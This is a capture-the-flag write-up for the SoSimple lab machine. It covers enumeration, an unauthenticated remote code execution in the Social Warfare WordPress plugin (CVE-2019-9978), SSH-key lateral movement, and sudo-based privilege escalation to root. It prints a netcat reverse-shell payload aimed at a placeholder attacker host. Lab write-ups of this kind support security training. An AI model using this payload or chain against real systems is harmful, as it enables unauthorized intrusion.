SoSimple Writeup - Proving Grounds
Last updated May 10, 2026 • 3 min read
Discovery
Two open TCP ports: SSH on 22 and HTTP on 80. The Apache server on Ubuntu hosts a page titled So Simple. Directory enumeration with a large wordlist finds a single path worth pursuing: /wordpress/.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: So Simple
wordpress (Status: 301) [--> http://192.168.152.78/wordpress/]
Enumeration
WPScan against the WordPress install identifies version 5.4.2, two users (admin and max), and two plugins. The Social Warfare plugin is version 3.5.0 — vulnerable to an unauthenticated RCE via its settings import endpoint (CVE-2019-9978, fixed in 3.5.3).
[+] WordPress version 5.4.2 identified [+] social-warfare | Version: 3.5.0 (100% confidence) | [!] The version is out of date, the latest version is 4.5.6 [+] Users Identified: [+] admin [+] max
Initial Access
Social Warfare RCE (CVE-2019-9978)
The vulnerability triggers when visiting /wp-admin/admin-post.php?swp_debug=load_options&swp_url= with a URL pointing to an attacker-controlled payload file. The plugin fetches and processes the file without authentication. The payload file must contain a PHP system call wrapped in <pre> tags.
Host a payload file on the attacker machine:
<pre>system('busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash')</pre>
connect to [192.168.45.177] from (UNKNOWN) [192.168.152.78] www-data@so-simple:/var/www/html/wordpress$
Lateral Movement — SSH Key in max's Home
Browsing max's home directory reveals a nested directory structure containing an SSH private key at this/is/maybe/the/way/to/a/private_key/id_rsa. The key is world-readable. Copy it locally and SSH in as max:
16069 4 -rw-rw-r-- 1 max max 1441 Jul 12 2020 this/is/maybe/the/way/to/a/private_key/id_rsa
max@so-simple:~$
Privilege Escalation
max → steven via sudo service
Max can run /usr/sbin/service as steven without a password. GTFOBins documents that service passes its second argument directly to exec(), allowing shell escape via path traversal:
$ whoami steven
steven → root via missing sudo script
Steven can run /opt/tools/server-health.sh as root without a password — but the file and its parent directory don't exist yet. Create the directory and the script, then execute it:
User steven may run the following commands on so-simple:
(root) NOPASSWD: /opt/tools/server-health.sh
connect to [192.168.45.177] from (UNKNOWN) [192.168.152.78] # whoami root
Root shell obtained via a two-step lateral movement chain.
References
-
WPScan — Social Warfare RCE (CVE-2019-9978)wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618 (opens in new tab)
Unauthenticated RCE via settings import in Social Warfare <= 3.5.2
-
GTFOBins — servicegtfobins.github.io/gtfobins/service/#shell (opens in new tab)
service sudo escape — second argument passed to exec allows path traversal shell